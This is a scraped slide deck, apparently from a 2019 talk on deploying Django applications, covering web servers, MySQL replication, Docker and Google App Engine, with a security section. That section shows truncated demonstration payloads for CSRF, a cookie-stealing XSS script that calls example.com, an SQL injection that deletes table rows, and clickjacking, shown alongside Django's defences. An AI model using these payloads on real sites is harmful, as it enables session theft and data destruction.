Djangoアプリのデプロイに関するプラクティス / Deploy django application

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

2019.05.18

Masashi SHIBATA
c-bata c_bata_

1
2
3
4

Topic 1
Web server / Database
wsgiref, uWSGI, Gunicorn
KEYWORDS
MySQL, Replication

: https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html

: https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html
Master

: https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html

: https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html
I/O
( )

: https://dev.mysql.com/doc/refman/8.0/en/replication-solutions-scaleout.html
DB

Topic 2
keyword1
Ansible / Packer / Terraform
KEYWORDS
Docker / Kubernetes

$ docker pull mysql:8.0
$ docker images
REPOSITORY TAG IMAGE ID …
mysql 8.0 7bb2586065cd …
$ docker run -d —name sandbox_m...

$ docker stop mysql_sandbox
$ docker ps -a
CONTAINER ID IMAGE COMMAND … STATUS NAMES
3ccb1576a066 mysql:8.0 "docker…" … Ex...

FROM python:3.7
MAINTAINER Masashi Shibata <contact@c-bata.link>
RUN pip install --upgrade pip
ADD . /usr/src
RUN pip inst...

version: '2'
services:
django:
build:
context: .
environment:
- MYSQL_HOST=mysql
- SECRET_KEY
- MYSQL_PASSWORD
links:
- my...

$ docker-compose up -d
$ docker-compose logs -f django
$ docker-compose exec mysql /bin/bash
$ docker-compose down

https://kubernetes.io

runtime: python37
entrypoint: bash -c "python3 manage.py migrate && gunicorn -b :$PORT
myapp.wsgi:application”
includes:
-...

Topic 4
SLI
Logging
KEYWORDS
CSRF (Cross Site Request Forgery)

Topic 4
SQL Injection
Clickjackling
KEYWORDS
CSRF (Cross Site Request Forgery)
XSS (Cross Site Scripting)

https://speakerdeck.com/akiyoko/django-security-measures-for-business-djangocon-jp-2019

https://speakerdeck.com/akiyoko/django-security-measures-for-business-djangocon-jp-2019
CSRF  
💦

from django.utils.decorators import method_decorator
from django.views.decorators.csrf import csrf_exempt
:
@method_decora...

<!— attack.html —>
<html lang="ja">
<body onload="document.attackform.submit();">
<form name="attackform" action="http://1...

<html lang="ja">
<head>
<title>CSRF </title>
<meta charset="UTF-8">
</head>
<body>
<p> </p>
<iframe width="0" height="0" s...

from django.http import HttpResponse
_form_html = """<form method="get">
<input type="text" name="q" placeholder="Search" ...

<script>alert("XSS ")</script>
Safari Chrome Webkit
XSS Auditor
JavaScript

<script>alert("XSS ")</script>
Firefox
cookie
<script>
open('http://example.com/stole?
cookie='+escape(document.cookie
));...

# https://github.com/orf/django/blob/abb636c1af7b2fd00a624985f60b7aff07374580/
django/utils/html.py#L33-L52
_html_escapes ...

# https://github.com/orf/django/blob/abb636c1af7b2fd00a624985f60b7aff07374580/
django/utils/html.py#L55-L77
_js_escapes = ...

from django.db import models
class Snippet(models.Model):
title = models.CharField(' ', max_length=128)
class Meta:
db_tab...

def sql_injection(request):
if 'snippet' not in request.GET:
html = Template(_form_html).render(Context())
else:
snippet_i...

'; DELETE FROM snippets WHERE '1' = '1
sql
(Pdb) sql
"SELECT id, title FROM snippets WHERE id = ''; DELETE FROM snippets W...

MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'd...

<html lang="ja">
<head>
<title>ClickJacking </title>
<meta charset="UTF-8">
<style>
.target { position: absolute; opacity:...

THANK YOU

Share Slideshare

LinkedIn
Facebook
Twitter

Embed

Size (px)

Show related Slideshows at end

WordPress Shortcode

Link

Share
Email

2024 Trend Updates: What Really Wor... by Search Engine Jou... 1050381 views
Storytelling For The Web: Integrate... by Chiara Aliotta 965124 views
Artificial Intelligence, Data and C... by OECD Directorate ... 896563 views
How to Leverage AI to Boost Employe... by SocialHRCamp 378582 views
2024 State of Marketing Report – by... by Marius Sescu 214693 views
Everything You Need To Know About C... by Expeed Software 233000 views

View on Slideshare

1 of 70 Ad

View on Slideshare

1 of 70 Ad